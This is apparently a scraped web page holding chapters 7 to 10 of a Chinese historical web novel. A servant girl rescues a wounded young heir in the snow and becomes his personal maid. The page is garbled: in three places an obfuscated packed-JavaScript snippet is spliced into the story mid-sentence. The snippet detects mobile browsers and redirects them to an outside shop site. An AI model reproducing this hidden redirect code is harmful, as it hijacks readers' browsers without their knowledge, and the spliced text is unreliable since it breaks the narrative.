这卤水豆腐是老夫人最喜欢的,本是一个寡妇杨氏自家的摊子,按说府上的食材不会从小摊贩处采买,但是老夫人自打进京后偶然尝到了,就喜欢这个味道,所以偶尔会让伙计代买,有的时候杨氏自己也会送过来。 她去和刘大娘说了杨氏没来送卤水豆腐,刘大娘摇了摇头,讳莫如深地没有理她这茬,初雪晴只好接着去干别的活了。 主子们用过早饭,下人们轮番抽空来吃一点,侯府虽不似京中世家般规矩严苛,但等级还是分明的。 主子们的贴身丫鬟都是从邺清带过来的,他们这些新来的,尤其是初雪晴这种连主子院子都进不去的粗使丫鬟,是没有自己的房间的,五人一间的大通铺就是她们日常睡觉的地方,吃饭也只是在后厨旁的柴房凑合一口,不过这也比初雪晴之前在人牙子手下饥寒交迫的日子好了很多。 初雪晴吃完便接着去打水洗衣,她虽然个头不低,但毕竟年幼瘦弱,打水也是她练习好久才利索了的。 前阵刚刚下过一场初雪,虽然他们及时清扫了,但是洗衣房处常年潮湿,难免路面有结冰。 今日难得些许见晴,路面的结冰似化非化,她小心翼翼地打上水,听见隔墙的过道里有丫鬟的私语,无意间听了一会,却听她们说到了寡妇杨氏。 原来那杨氏不是寡妇,是被夫家休弃娘家又不留的,独自一人在京城谋生,却被夫家的人看到了,大家这才知道,她是因被歹徒掳走失了清白才遭休弃,可如今却寡廉鲜耻抛头露面卖豆腐,昨日被砸了摊子才停了生意。 初雪晴听了这些,呆呆顿住脚步,茫然的无力感又自心底窜起,杨氏偶尔来的时候,看她瘦弱可怜,会给她一些饴糖,虽然她不爱吃甜,却被她的善心暖过。可这世道于女子就是这么不公,受到伤害不仅得不到同情,还要被如此侮辱。 她出神的时候,有前院的丫鬟过来叫她赶紧过去,世子马上要到了,需要下人们都去迎接,以免以后见到世子却不认识,失了礼数。 她走得急,不小心被冰滑倒,手上拎的水桶也打翻了,水又撒了她一身。 可世子爷马上就到,她只得凑合拿布巾擦了擦身上去了前院。 * 到了前院,初雪晴站在丫鬟的后排,一个不起眼的位置。冬风凛冽,穿过她湿着的衣服,直达身上的肌肤。她咬紧牙抵御这沁骨的寒意,却控制不住地开始发抖。 正在这时,随着一批人的进入,世子裴霁曦终于来了。 为了以后别认错了主子,初雪晴忍着寒冷,悄悄抬眼,只见一俊秀少年,线条分明的脸上,浓眉微蹙,眸若寒星,身披玄色水纹鹤氅,虽然他年仅十六岁,却颇有种不符合年龄的清冷感。 恰逢初雪后的第一次转晴,冬日的阳光并不灼人,含着一丝晦暗,洒在裴霁曦的脸上,减退了些许眉目间的寒意。裴霁曦扫视了下周围,下人们齐齐行礼。 初雪晴行礼的时候,还是没忍住,一个喷嚏打了出来。 管家刘义急忙斥道:“哪个不长眼的,自下去领罚。” 下人们都看向初雪晴,初雪晴急忙屈膝认错。 裴霁曦这才看见这个瘦弱的小丫鬟,只见她脸色苍白,衣服下摆湿漉漉的,他淡然道:“无妨,赶紧让她下去换身衣裳。” 初雪晴谢过恩,就退下去换衣了。 * 初雪晴来到这个世界时,只有13岁,彼时她已经是人贩子手中的筹码,连名字也没有,辗转几手,好在最终结果没有那么差。 她已向周围的人打探过,大宁户籍管理较为严苛,像他们这种死契在主子手里的奴仆,一辈子都是奴籍。讨得主子欢心的话,岁数到了可能配个小厮,要不然就是发卖出去到更低贱的地方。 男奴基本上没有翻身的可能,也不能娶平民女子,但是女奴,若被男主子看上,运气不好做个通房,运气好了还能抬个妾室,起码子女再不是奴籍,这已经是最好的出路了。 一般的主子,也不会轻易去了下人的奴籍。 她是定然不愿做妾困在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591055|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府中,她的出路只有一条,就是让主子看到她的能力,愿意除了她的奴籍。 可现在侯府中的主子,妾室李氏肯定是没有这个权利的,二小姐裴雨檀是庶女,性子唯唯诺诺,也不会做这个主,世子裴霁曦看着清冷,不像能为下人出头的,唯有老夫人,看似威严却又赏罚有度,也是她最大的希望。 可惜她初入府时干活不利索,连生火都做不好,也就没有资格分到老夫人的院子里。 好在她为人和善,和周围的丫鬟婆子处得不错,但也仅限于不错而已,丫鬟们之间常有勾心斗角,已然都是人下人,却在彼此为难。 * 翌日,世子的乳母赵嬷嬷又来选人,说是要给世子的院子里填几个粗使丫鬟,初雪晴本不愿去争取,毕竟去世子的院子不是她最好的选择。可刘大娘怜她踏实肯干,就和赵嬷嬷推荐了她。 和她一同去世子院子里的,一共有四个丫鬟,霜华长得最为俏丽,本是老夫人院里的丫鬟,老夫人做主让她到世子院子里管着点事。还有腊梅和怀绿,本是和她住一个通铺的丫鬟,一起分到了这里。 虽是粗使丫鬟,可世子从小在军营长大,不习惯丫鬟伺候,因此院子没有别的丫鬟,她们就分到了两个屋子,初雪晴和腊梅一个屋子。 在院子里忙碌了一天,世子不是在书房,就是在专门为他练武建的小型演武场里练武,初雪晴也没什么机会见到他。 可虽然见不到,晚上丫鬟们就寝前的夜谈里,也都离不开世子。 腊梅是个活泼的女孩,她比初雪晴小一岁。 虽是干了一天的活,但是她的精力显然因为初换地方还有些旺盛,拉着躺在床上的初雪晴说悄悄话:“冬雪,你听说没,世子自幼在军营长大,身边从不让丫鬟伺候,都是小厮跟着,现在来到京城,老夫人硬要给他塞进来丫鬟,说是粗使丫鬟,其实是怕世子再大些,身边连个丫鬟都没有,不好直接配通房丫鬟。” 她说着,声音又压低了些:“你看那个霜华,一个二等丫鬟,自降身价来到世子的院子,其实老夫人就是拿咱们当幌子,让霜华多在世子眼前晃着,等以后也方便提她。” 初雪晴虽不喜聊这些事情,但也耐着性子听她说着。 从腊梅的口中,她大概了解了世子裴霁曦的为人。八岁丧母,跟着父亲在军营长大,看上去清冷疏离,但是对待下人也从不苛待。 大概是军营磨炼了他的性子,大部分事情都自己去做,不像其他世家公子,穿衣洗澡都要人伺候,是以身边也从来没有什么丫鬟。只有两个小厮,轻风和墨语。 “你知道世子两个小厮吗?墨语经常跟着世子出去,轻风在院子里时间长,他可真是个话篓子,说起话来嘴都不停,怪不得世子一般都带墨语出去,不带他呢!” 初雪晴淡笑:“那和你比,谁更能说呢?” 腊梅佯作生气:“好呀你个冬雪,怎么能把我和那个话篓子比!”说着就去挠初雪晴的痒肉。 两个人就在寒冷的冬夜里,笑闹着开始了新的生活。 8. 第 8 章 日子这样不温不火地过了一个月,初雪晴的活计也越做越熟练,寻常日子里除了霜华偶尔会对几个小丫鬟颐指气使,也还算顺心,但仅仅是顺心还是不够的。 初雪晴偶尔会在赵嬷嬷面前稍作表现,希望能让她注意到自己,能有什么契机调到老夫人院子是最好的。 今日世子的表兄苏晟杰来府中作客,赵嬷嬷叫了霜华和初雪晴前去服侍。 世子身边只有墨语跟着,墨语见两个小丫鬟前来服侍,眼中闪过刹那的疑惑,但也并未多问,交代了她们去沏茶。 表兄苏晟杰看上去是个洒脱俊逸的书生,比世子大一些,已经稍显成年男子的气质了。 他先是代父亲道歉,说父亲新任吏部左侍郎,公务繁忙,也就没有来探望他这个唯一的外甥裴霁曦。 苏晟杰的父亲苏大人是先夫人的庶兄,本就没那么亲近,所以以前往来也不甚多,连苏晟杰也是侯府安顿了这么长时间,才头一次上门来。 裴霁曦但笑不语,他知道这薄凉的亲缘也没什么可结交的,定远侯树大招风,朝中的文臣都不愿往来,以免落得个勾结武将的名声。 霜华从初雪晴的手中拿过茶壶,上前为两位斟茶,沉默的空气中只听见茶水的流动。 苏晟杰也不因裴霁曦的沉默而感到尴尬,只是问道:“曦儿的书院可选好了?京中的书院我都有些相熟的先生,可以为你推荐一二。” 裴霁曦端起刚斟好的茶杯,慢慢饮了一口,才答道:“祖母已为我请了韦浩骞老先生来授课,他当过武将,也有一身学问,比书院的先生更适合我。” 他没说出口的是,京中书院多是达官显贵,定远侯为了避免结交文臣的嫌疑,也特意没有让他去书院学习。 苏晟杰又笑道:“也好,书院多是教授文章,于你作用不大。对了,老夫人从邺清带来的盐渍牛肉我母亲很喜欢,只是她怀有身孕,在家养胎,不便上门道谢。” 裴霁曦平静道:“舅母是邺清人,祖母也是顺路带些,为她解解乡愁。” “虽然母亲是邺清人,可我从未到过邺清,听闻父亲是在为姑母送嫁的时候,在邺清结识的母亲,有机会真想去邺清看看。”似是突然想起在裴霁曦面前,提到他去世的母亲,有些不妥,苏晟杰忙止住了话头。 裴霁曦出神片刻,他的母亲孤身一人嫁到侯府,就连香消玉殒的时候,也只有舅父这个庶兄的信件问候。 苏晟杰又客套地问了问定远侯和老夫人的身体,裴霁曦也只是一问一答,赶客的意思非常明显,苏晟杰也没有其他话题可以继续,只得找借口告辞了。 苏晟杰走后,初雪晴本想就顺势退下去,因世子本也不喜丫鬟伺候,但是霜华却在她想退下的时候偷偷拉了下她的衣角。 初雪晴瞬间明白,如果她走了,霜华也没理由留下了。 可裴霁曦显然没有初雪晴这么善解人意,他从红木椅上起身向外走,霜华急忙跟上,问道:“世子可需要奴婢随侍?”眼中是掩饰不住的期待。 裴霁曦撇了两个小丫鬟一眼,淡漠道:“以后没吩咐,你们就不要过来了。” 霜华瞬间真的成了霜打了的似的,只得规矩遵是。 初雪晴思索一番便明白了,看来让她们两个来伺候,也只是赵嬷嬷的意思,世子并不想有丫鬟在身边服侍。有个这样省事的主子,初雪晴倒是乐得自在。 * 冬日的第二场雪在夜间悄悄在地上铺满,翌日一早,满目所及皆是茫茫白色,寒意随着冰雪的到来又加重了。 就在下人们忙着扫雪的时候,刘管家到世子的院子里来,把大家都叫到了一起。 老夫人不久便到了,面色凝重,审视着大家:“昨夜酉时之后可有人见到世子了?” 大家都默默左右互看,但也无人出声回答。 老夫人声音愈加严厉:“世子不见了,可知你们都是什么后果?”说着便唤人上前,只见几个拿着长棍的小厮面色凶煞地走到前方。 这时世子身边的小厮轻风倏地上前跪下:“老夫人,世子昨夜收到师父的传信,说是白峰山一聚,才出去的,不过世子说一个时辰便回,不让我等声张。” 世子另一个小厮墨语见状也默默跪下,但并未言语。 老夫人气地跺了跺手中的拐杖:“胡闹!侯府在京中如履薄冰,他行事却这样不着调,若让人抓住什么把柄可如何是好!” 赵嬷嬷上前劝道:“老夫人,现下还是赶紧找到世子要紧,若被有心人知道世子失踪了,安个逃京的名头,对侯府不利啊!” 老夫人伸手指向世子院子的下人们,厉声喝道:“你们统统给我去白峰山找世子去,找不到就都发卖了去!”她叹了口气,又补充道,“都从后门分批出去,不要引人注意,切莫声张!” 众人忙遵照老夫人的吩咐,分好了组,向白峰山奔去。 * 白峰山位于京城西边,本是狩猎的好去处,但是冬日渐冷,也就罕见人至。 经过一夜的冰雪肆虐,白峰山已经满满覆盖了厚重的白色,灰色的树枝上也担着一团团的雪色,满目荒凉。好在今日并没有什么风,初雪晴和腊梅跟着世子的小厮墨语一起行动,山林中只听见几人踩雪的咯吱声,还有明显疲累的粗重喘息。 与其说担心世子的安危,初雪晴更担心自己未知的命运。 寒意透过她的袄子钻进皮肤,她却仿似忽视了周身的温度,专心地边走边观察着周围的环境。 忽而听到前方有人喊,似是找到了世子的踪迹,墨语听到,让她二人先在这里寻找,他前去看看。 初雪晴和腊梅循着两个不同的方向继续寻人。初雪晴忽而看到身旁的树上有一丝血迹,看样子应是不久之前留下的,她便循着血迹探看。 只是走着走着,不料走到了山林的边缘,她拨开眼前被雪覆盖的冬青树枝,脚下一滑,她连声音都来不及发出,就顺着山坡滚了下去。 虽则冬日的袄较厚,山坡也布满冰雪,但是在冰雪之下有很多枯树枝,在初雪晴终于落地后,发现自己身上的袄也破了,手上已经被划了好几个口子。 寒意让她忽略了疼痛,她的心跳急促,不仅是被突然的变化吓的,更是想到,她循着血迹摔下了山坡,那世子是否也有可能是摔下来了呢。 她望向上方,不知腊梅是否发现她已经不见,可她也等不及别人发现她,想想刚才的血迹,她必须尽快找到世子。 她的膝盖刚才磕到了,每走一步都伴着疼痛,拖着受伤的身子,边走边喊着世子,可却得不到回应。好在每隔一段距离,总能发现血迹。 不知走了多远,远到除了寒意,饥饿感也随之而至。 终于,顺着血迹的路线,她发现了一个山洞。 进入山洞,只见裴霁曦躺在一堆稻草之上,脸色苍白,双眸紧闭,玄色衣袍上也破了几道口子,右手上有些许血迹。 初雪晴走近唤着“世子”,可裴霁曦没有丝毫反应,初雪晴只好将手放到他肩上轻拍,可碰到他肩膀的时候,他喉咙嘶哑发声,初雪晴才发现他左肩受伤了,玄色衣袍颜色深,不显血迹,可是看样子伤势不清。 她轻轻拨开裴霁曦的衣服,慢慢露出肩膀,看样子是箭伤,箭应该已经被他拔了出去。她又检查了下裴霁曦其他地方,发现他的右腿也受伤了,应该也是箭伤。 周边没有可以止血的东西,初雪晴狠狠心,解开自己的外袄,撕下中衣的衣角,找一些干净的雪浸湿一块布,帮他清理了伤口,又撕了些布帮他包扎。 简单包扎过后,裴霁曦仍没苏醒的迹象,四周静悄悄的,好似也没有人找到他们。 她伸手轻碰裴霁曦的额头,果然是发热了。 她把周围的枯草往裴霁曦身上铺了铺,又用湿布为裴霁曦擦了手心降温,随后放在他的额头上。 看裴霁曦的情形,她决定还是先在洞里待着,好在她沿途都留下了记号,希望能有人顺着记号尽快找到他们。 虽然洞内避风,但是仍难抵挡冬日的寒意,她用火石点燃了些洞内的干木,坐到了裴霁曦身边。 可困意上来的以后,不知什么时候,她就歪在了裴霁曦身旁。 * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591056|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴霁曦睁眼的时候,就看见一个灰头土脸的小丫头蜷成一团,躺在自己身边,她的头发散乱,眼眸紧闭,嘴唇微张着,干瘦的面庞染上些灰渍,手上有些许划痕,更显可怜。 他认出这是自己院子里的丫鬟,可又想不起她叫什么,想要发出些声音,只觉喉咙干哑发痒,没忍住便咳了起来。 初雪晴听见咳声被惊醒,发现自己竟然躺在裴霁曦身边,急忙坐起:“世子,您可好些了?” 裴霁曦伸手指了指自己腰侧的水囊,初雪晴帮他解下水囊,可发现里面已经没有水了,她站起身来,膝盖上的伤已经不疼了,她便走出洞外,取了些干净的雪,放入水囊之中,将水囊靠近火源,待雪化了,慢慢扶起裴霁曦,想要喂他水喝。 裴霁曦却伸出右手,拿过了水囊,自己喝了起来。喝完水,他看了眼初雪晴干裂的唇,把水囊递给她道:“你也喝点。” 初雪晴应声,犹豫了一下,举起水囊,隔空向唇中倒了些水。 “可有人和你一起过来?”裴霁曦问道。 初雪晴摇了摇头:“我们一起出来寻您,可我中途跌落山坡,和其他人走散了。” 裴霁曦眉头紧蹙,思考片刻,用手撑住墙壁,试图站起来。 初雪晴连忙上前扶他,可裴霁曦没等她扶住就又摔倒了,他的腿伤还不足以支撑他站起来。他叹道:“罢了,还是等人来吧,你身上可有吃食?” 初雪晴抬眸,略显窘色:“来时墨语身上备着吃食,可我们走散了,奴婢身上什么都没有。”言罢,又补充道,“奴婢这就出去寻些食物。” 裴霁曦双眼微微阖目:“多看看有无中空的树干,多半有松鼠储存的榛果。” 初雪晴还未想到冬日茫茫白雪能找到什么食物,闻言才知有这些技巧,应声后便出去了。 四周静谧无声,天色已然转暗,灰蓝色的天空已然显现出弯月的痕迹,徒留天边一抹浅白。初雪晴按照裴霁曦说的,专门寻找松鼠洞,找了大半时辰,终于找到了一些榛子。 虽然很少,但此刻他们都饥肠辘辘,也尚能果腹。 裴霁曦本不抱希望,但见她竟真的找到食物,也有些惊讶。他自母亲离世后便跟随父亲在军中生活,周围都是糙汉,野外技能自是不必说。他以为初雪晴只是一个瘦弱的小丫鬟,恐怕会空手而归,未料她也能找到食物。 初雪晴将榛子放在火旁略微烘烤,便拿到裴霁曦身旁。 他强撑着身子,坐了起来,初雪晴在他身旁一颗一颗地剥着榛子,他也慢慢拿过一把,忍着伤痛跟着剥起来,还对她道:“你也吃,冬日野外寒凉,要保存体力。” 初雪晴跟着裴霁曦吃了起来。洞内只有剥榛子的哔剥声,以及火堆偶尔传来的刺啦声。 初雪晴咽下热乎乎的果仁,不经意道了句:“把松鼠过冬的食物吃了。” 裴霁曦闻言,未料这小丫鬟此刻还有心情关心松鼠的日子,但仍道:“等我们出去了,让人再送些榛子回来。” 初雪晴随意的一句话得到了回应,心里暖意划过,笑着点了点头。 待他二人都食用过后,已然是深夜了,初雪晴缓声道:“世子,若明日还无人找到此处,我们再待下去,对您的伤势不利。” 裴霁曦瞥了她一眼,这个丫鬟又不似在府中时的唯唯诺诺,好似那懦弱只是她在府中保护自己的盔甲,在此地只有他们二人时,忘记戴上那层伪装了。 初雪晴继续道:“奴婢在洞外找到一块木板,明日可用它拉着您出山,您看妥否?” 裴霁曦闻言愣道:“你,拉着我?” 初雪晴坦然答道:“奴婢虽然瘦弱,但是之前在府中也做些粗活,力气也不小,世子不必担心。” 裴霁曦见这个丫鬟眼神坦荡,嘴角露出一抹不易察觉的笑,道:“不必,你明日找根木杖,扶着我即可。” 他往日都是不苟言笑,清俊的面庞上总有一丝寒意,但此刻轻微的笑容,却仿似在脸庞的冰雾上洒下一抹日晖,竟一时间让初雪晴有些晃神,她不禁在心中慨叹,这少年,真是好看。 9. 第 9 章 晨光熹微,清浅的日晖洒在洞口,在阳光映衬下的雪色也褪去一丝寒意。 初雪晴找来一根木杖,用裴霁曦的随身匕首砍成合适的长度。裴霁曦就看着小姑娘吃力地为自己做着手杖,心想这丫鬟竟然比小厮还要好用。 裴霁曦右手扶着手杖,初雪晴搀着他的左手,也刻意避开他左肩上的箭伤。两人就这么一瘸一拐地走在山林中的雪地上。 裴霁曦虽然之前不曾来过白峰山,但他的方向感极好,所以也不会担心迷路。 两人走着走着,却仿似听见了有人在呼喊。初雪晴以为是找他们的人到了,让裴霁曦靠着一棵树休息,她先向前探路。 可她没走多远,发现那呼喊并不是侯府的人,竟是一个女人的呼救声。 她透过一片灌木丛看向另一边,发现有一个壮汉竟在欺侮女子,相隔太远,她看不清那女子样貌,可却看得清那女子在奋力反抗。 她不自觉咬紧了牙冠,心头勇气一股怒气,可她不能这么贸然就过去救人,不说她现下只是一个十三岁的小女孩,就算是一个成人女子应该也无法打过那壮汉。 她急忙回到裴霁曦身边,告诉他这边的情况,欲借他匕首一用。裴霁曦讶异于她的勇敢,却也知她无法一人救出那女子,心知情况紧急,忙道:“你就算拿了匕首,也无法救人,我们快些过去,我来处理。” “可是您身上的伤还未好……” 裴霁曦打断她:“无妨。” 初雪晴也不再纠结,扶着裴霁曦到了方才的位置。裴霁曦手握匕首,隔着灌木丛,看准那名壮汉的位置,用力甩出了匕首。 匕首正插在壮汉心口的位置,那壮汉应声倒地。 女子惊慌失措间发现有人救了她,愣怔片刻,急忙理好衣物,看见裴霁曦和初雪晴,就过来跪在地上谢恩。 待她走近,初雪晴才看清她的样貌,竟是卖卤水豆腐的寡妇杨氏。她扶起杨氏道:“杨姐,我是定远侯府的丫鬟冬雪。” 杨氏这才定神,看清了初雪晴,又是哭又是谢。 裴霁曦没去看杨氏,反而听清了刚才初雪晴报的名字,在心中默念,冬雪,原来这个小丫鬟叫冬雪。 杨氏见裴霁曦受伤,更是内疚,竟让伤着的侯府世子救了自己。 他们三个便一起向山下走。 走到半路,终于看见了侯府的侍从,裴霁曦刚想吩咐人去报官,他不是为自己报官,毕竟他被诓骗至山上受伤这件事不宜外扬,但毕竟刚才欺侮杨氏的壮汉已死,要经官府处理。 毕竟是受辱,报官于杨氏名声不利。他便询问了杨氏。 杨氏犹豫片刻,还是决定报官。 其余众人要护送裴霁曦回府,初雪晴在众人的后方,仿佛被遗忘一般。 侍从扶裴霁曦上了马车,正欲驾车前行,裴霁曦却叫来轻风吩咐了一声,轻风便走到初雪晴身旁,唤她上马车休息。 初雪晴有些受宠若惊,毕竟在这个时代,奴仆救了主子,不算恩情,只是本分。裴霁曦待她却无轻慢。 * 定远侯府中,大夫给裴霁曦瞧过伤,好在及时清理伤口,且刺中裴霁曦的箭并无毒性。他开了药,又嘱咐了日常的注意事项,便离开了。 老夫人坐在裴霁曦床旁,看到裴霁曦的伤,心疼得她眼眶通红。她不禁想起了去世的老侯爷,老侯爷是开国元老,跟着先帝打下这江山。侯府人丁寥落,她的长子战死沙场,只留下次子裴康时和小女裴梦芝,侯府一门忠良,连裴梦芝都披甲上阵,为国效力。可飞鸟尽,良弓藏,如今边境太平,定远侯手下的定远军,就成了建祯帝眼中刺。 老夫人擦了擦眼角,问道:“曦儿,你可知是何人诓骗你上山?” 裴霁曦答道:“追杀我的人刻意掩藏武功路数,所用弓箭也平平无奇,并不能看出是哪路人马。”他顿了顿,续道,“可他们一定对侯府相当了解,且有仿冒字迹的高手,才能借师父的名义诓我出去。” 裴霁曦的师父卜成周本是定远侯军中同僚,因伤病劳身,已经隐世,连裴霁曦都不知道师父去了何方。 老夫人无奈道:“你大伯为救你师父而战死沙场,你师父自那以后也不再进入侯府了,也就是怕我想起那些事罢了。可这么些年过去了,对方竟能知道这些陈年往事,且能模仿你师父的字迹,定然是对侯府有一定了解。” 似是想起侯府单薄的人脉,老夫人的神色又显现出一丝哀伤,沉默片刻,才道:“本来你伤势未好,不该告诉你,可皇上昨日就派人唤你进宫,我昨日说你不舒服,推脱过去了,不知今日宫里可还会派人来。” 裴霁曦面有愧色道:“祖母,因孙儿大意,才中了圈套,让您担心了。” 老夫人抚了抚他的头:“曦儿莫要自责,如今想算计侯府的人太多,再小心也难防”,她看着孙儿的还带着少年气的面庞,明明只是一个十六岁的少年,却被逼得早早懂了事,可毕竟年少,心思仍是不深。 裴霁曦缓声道:“孙儿受伤的事,还是莫要让人知道,以免父亲在边境担心,被有心人挑事。”顿了顿,又道,“那批人引我外出追杀,却未在箭上涂毒,想必并不是非要置我于死地。” 老夫人心中涌上一阵后怕,万一那箭上有毒,她唯一的孙子就……转念一想,也不会到这个地步,毕竟,裴霁曦相当于是定远侯放在京中的质子,若他出事,必定引得大宁朝局动荡。 老夫人神色微动道:“可巧,曦儿伤重失踪,皇上就召见你,祖母怕惹人非议,被人说你私逃出京,无奈称病,这样一来,定远侯府不顾皇上颜面的名声怕是要传出去了。” 裴霁曦闻言,凝神细想,这一环环,就是料定他们不敢让定远侯担心京中家人安危,只是受伤,定然不会声张,可宫里的召见不去,就是不敬,这脏水还是泼到了定远侯府。 可这做局之人,有太多可能性。甚至前两日刚刚来府的表兄苏晟杰,也有可疑,为何他到访当夜,就有人诓骗了自己? 老夫人想必也是看透了这层,对裴霁曦道:“定远侯府功高盖主,想要安上个不敬的名声,何患无辞,只是我们今后行事要更加小心,莫要再着了别人的道。” 裴霁曦应声,又想到了救出自己的丫鬟,问道:“我院子里的丫鬟冬雪,此次于我有恩,祖母可否给她些银两,放了她的身契?” 老夫人闻言摇头道:“她一个十三岁的丫鬟,父母都找不到了,你放她出府,她又如何谋生?不若让她做你的贴身丫鬟,等她大些,收入房中,也算还了这份恩。” 老夫人这些年一直想要塞给他几个丫鬟,奈何他在军中待惯了,竟是只要小厮伺候,现下有这么个机会,老夫人顺水推舟就要把人塞给他。 定远侯现在的妾室李氏,就是当年他的通房丫鬟,在娶妻后抬了姨娘,虽然定远侯和先夫人伉俪情深,可李氏的存在也曾让先夫人不适,何况还有个庶女裴雨檀。 裴霁曦见过母亲因父亲妾室难过的模样,他自己便不想在成亲前收通房来恶心未来夫人,于是拒绝了老夫人:“孙儿不需要什么通房丫鬟,您以后也莫要给我塞人,到了年纪娶妻就是,何必要多个人。” 老夫人明白,这是在说自己把李氏给定远侯做通房的事,心道裴霁曦还小,提这个尚早,于是退了一步:“不收通房丫鬟,那收个贴身丫鬟,跟着你做事,以后到了年纪放出府嫁人也好。” 老夫人没说出口的是,大户人家男主子的贴身丫鬟,一般很难高嫁,毕竟跟着男主子,是否有什么说不清楚的事也难说,不过一般大户人家的丫鬟规矩好,主子赏识的话嫁妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591057|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不错,嫁的出去倒是不愁。可老夫人打的主意可不是让冬雪出嫁,待得两人培养了感情,就让裴霁曦收了她。 裴霁曦别过脸去,淡淡道:“那就收做贴身丫鬟吧,学些本事,大了也好谋生。” * 初雪晴莫名其妙被安排了命运,待得赵嬷嬷告知了她,她却心生忐忑。 赵嬷嬷本以为这么大好事砸到初雪晴头上,她定然会喜不自胜,可初雪晴面上并未生喜,赵嬷嬷还以为她是高兴得愣住了。 又吩咐人给初雪晴换了屋子,搬到裴霁曦卧房旁的耳房,方便照顾世子。 腊梅和怀绿都来帮初雪晴收拾屋子,只霜华称病不来,初雪晴也明白,霜华定然是觉得自己占了她贴身丫鬟的名额,却又不敢表现自己的不喜,不想露面罢了。 初雪晴看着自己的新屋子,竟然像模像样地有个梳妆台,上面还放了赏赐她的衣物。 腊梅摸着她新衣的料子,不似粗使丫鬟的纯色棉布,衣裙上都绣着不同的纹样,不禁慨叹:“原来做世子贴身丫鬟这么好呀,冬雪你日后可要惦记着我们姐妹。”说着揽上了初雪晴的胳膊,灿然笑着。 初雪晴露出清浅的笑容:“自是会惦念着你们。” 怀绿声音怯怯的:“冬雪,世子那般冷漠,你不怕吗?” 初雪晴摇头道:“世子看似冷漠,待下人却并不严苛,日子久了你们便知道了。” 送走腊梅和怀绿,她望着屋子发起呆来。 她来到这个世界这么长时间,从饥寒交迫,到现在不仅衣暖食饱,甚至有了自己的屋子,可她却高兴不起来。 她心知这个世道女子的命运不由自己,看着眼前的赏赐,她怕自己日后会成为下一个李氏。 待得她收拾妥当,就去了裴霁曦身边伺候。 裴霁曦虽然腿脚不便,但仍没有规矩卧床,而是坐在书房看书。 他看到换了一身新衣的初雪晴,恍然觉得和之前那个狼狈的小丫鬟判若两人。她身穿青色花草纹样棉绫裙,头绾双丫髻,清雅的面庞上有着明澈的眼眸。 裴霁曦愣怔片刻,回神正色道:“你于我有恩,我提你做贴身丫鬟,是为了教你做事,习得一些本事,日后方便营生,到了年纪自会为你备好嫁妆,放你出府。但你别动什么歪心思,我以后是不会收通房丫鬟的。” 初雪晴闻言,抬眼看向裴霁曦,没忍住悄悄上扬了嘴角,应声答是。 “你可识字?”裴霁曦问道。 初雪晴轻轻点头:“识得一些,以前在人牙子手中,有一个落了罪的世家姐姐,教了奴婢一些字。” 那是她出来大宁的时候,不认得这里的文字,一个温柔貌美的姐姐,虽落难却不失风骨,趁人不注意,拿树枝在地上写字教她。周遭一圈等待发卖的女孩,因为温饱都难,没人愿意学字,只有初雪晴,宁愿不去抢食,也要跟那个姐姐多学些字。 只是可惜,她躲过了青楼的选人,那个姐姐容貌过盛,没逃过最悲惨的命运。 裴霁曦对初雪晴又有一些改观,现下女子无才便是德的论调兴起,眼前这小丫鬟竟然能在那种飘零环境下耐下性子学字,也是难得。 他叫来小厮墨语,交代他去寻几本书,转过身对初雪晴道:“你先从开蒙的书学起,平常跟着墨语学,他伴我日久,为你开蒙绰绰有余。” 初雪晴只觉心中温热,以往觉得世子是一个清冷孤傲的人,可接触多了又发现他面冷心热,她清浅一笑,对裴霁曦道谢。 裴霁曦见她并无异议,心中大石总算落下。他本担心初雪晴挟恩图报,硬是要以身相许。可看初雪晴神色,并无此意,不禁也对她高看。 他不知道的是,他所担忧的事情,初雪晴同样担忧着。如今这心中大石,两个人是一同放下了。 10. 第 10 章 初雪晴这几日除了跟着裴霁曦服侍,还要在空余时间学习规矩。 头几个月在侯府只学了一些日常规矩,如今要成为贴身丫鬟,从沏茶磨墨、熏香铺床、到贴身伺候,甚至男子服饰的穿法,都要学习。 裴霁曦对初雪晴还算满意,跟他这些天,日常服侍也是进退有度,贴身的事情都是轻风、墨语去做,初雪晴只是打打下手,让他觉得有个贴身丫鬟也不像意想中那样麻烦。 裴霁曦歇养了几日,便向上递了请安折进宫面圣。 他长期练功,身体底子好,只这几日,走路便轻易难觉异常。加上他刻意掩饰,不露马脚倒是不难。 从宫中回来次日,世子表兄苏晟杰又前来到访。他先是去拜访了老夫人,随后来到世子院子中。 只是这次,苏晟杰明显没有前几日到访时那般淡定从容,初雪晴这边茶未沏好,苏晟杰刚坐下,便焦急对裴霁曦开口:“你受伤这么大的事,为何不告诉我们?” 裴霁曦坐在红木椅上,淡淡扫他一眼道:“是谁在散播谣言?” 